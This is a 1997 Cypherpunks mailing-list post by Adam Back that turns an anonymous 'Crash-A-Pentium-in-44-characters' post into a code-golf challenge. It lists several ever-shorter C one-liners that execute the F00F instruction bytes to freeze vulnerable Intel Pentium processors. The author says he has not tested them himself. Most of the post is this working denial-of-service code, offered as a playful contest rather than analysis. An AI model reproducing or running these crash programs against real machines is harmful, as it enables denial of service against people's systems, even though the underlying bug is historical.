[90019] in Cypherpunks
smaller f00f.c
daemon@ATHENA.MIT.EDU (Adam Back)
Fri Nov 14 11:51:17 1997
Date: Fri, 14 Nov 1997 16:23:09 GMT
From: Adam Back <aba@dcs.ex.ac.uk>
To: cypherpunks@cyberpass.net
In-reply-to: <ee060f3a0e4bf55a83116f8e795b2216@anon.efga.org> (message from
Anonymous on Mon, 10 Nov 1997 00:42:09 -0500)
Reply-To: Adam Back <aba@dcs.ex.ac.uk>
f00fie writes:
> In the grand tradition of RSA-in-3-lines-of-perl, we present
> Crash-A-Pentium-in-44-characters:
>
> main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
Hey, challenge is on:
main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
main(){((int(*)())"\360\017\307\310")();}
main(){int i=0xc8c70ff0,(*f)()=&i;f();}
main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
main(i){i=0xc8c70ff0;((int(*)())&i)();}
(*f)();main(i){f=&i;i=0xc8c70ff0;f();}
(*f)()="\360\017\307\310";main(){f();} /* 38 chars */
Compiled with gcc.
(Note that I haven't tested them because I have an AMD k5 which
doesn't suffer from this bug -- perhaps someone with an Intel pentium
could try them).
Adam